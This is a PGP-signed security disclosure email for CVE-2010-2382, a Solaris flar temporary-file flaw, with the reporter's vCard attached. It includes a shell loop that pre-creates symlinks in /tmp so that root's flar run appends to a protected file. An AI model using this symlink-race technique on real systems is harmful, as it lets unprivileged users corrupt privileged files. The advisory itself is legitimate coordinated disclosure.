|
This is a multi-part message in MIME format.
--------------040109030400090008060809
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Below is the full disclosure information for CVE-2010-2382. It was
reported to security-alert@sun.com on 23 December, 2009 and assigned Sun
bug 6912851.
This vulnerability was addressed by Sun/Oracle in the July 2010 Critical
Patch Update
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).
- ------
flar appears to use several hard-coded temporary paths with the process
id appended such as these (possibly more--I didn't do an exhaustive search):
/tmp/.flash_filter_one_.11534
/tmp/.flash_filter_two_.11534
/tmp/.flarcreate.hash.11534
As an unprivileged user, I was able to pre-create symlinks (for every
likely pid) to a file I didn't have write permission to like this:
$ x=0
$ while [ "$x" -le 30000 ];do
> ln -s /etc/important /tmp/.flash_filter_one_.$x
> x=$(expr "$x" + 1)
> done
Later, when root creates a flash archive with:
# flar create -n junk `pwd`/junk.flar
/etc/important is appended to.
- ------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQEVAwUBTEUJoWKGA6cQSpZSAQInYAf/W9LWENhsVqmyItxRdr5brhXMoFmxfLe2
jeN8KHJQMlUofI4GImVKO7078dE2CKht7lERpx2F6euXazDy1nG6QenBeSsRo8Ga
4fqhRlKswL+yb092pVZWIuLgNd5S2aqscoFG1q9cvWeF4qXuqyxQCraoA6HumfLc
WLMy3bcHsCkTS3+vT4axLO6PaoQbe1d0U0i8RPgc9s7cx4gHO04bQ/bmJnLocdKG
8aUkeQKZpc2Uws5F8goGfC3RfR9WxQMcZMzLfyM3FhxhCPxOtS0YdNPGOwGCYUTr
GeRQJemYYWxlK/SLMR/1tKYFa9JHbH+Nep+DVhzcHN7+HFr2kDOQiw==gcPO
-----END PGP SIGNATURE-----
--------------040109030400090008060809
Content-Type: text/x-vcard; charset=utf-8;
name="fstuart.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="fstuart.vcf"
begin:vcard
fn:Frank Stuart
n:Stuart;Frank
org:F. Stuart Consulting, LLC
adr;dom:;;;Montgomery;AL
email;internet:fstuart@fstuart.com
title:Owner, Senior Unix Consultant
tel;cell:703-599-7777
x-mozilla-html:TRUE
url:http://www.fstuart.com/
version:2.1
end:vcard
--------------040109030400090008060809--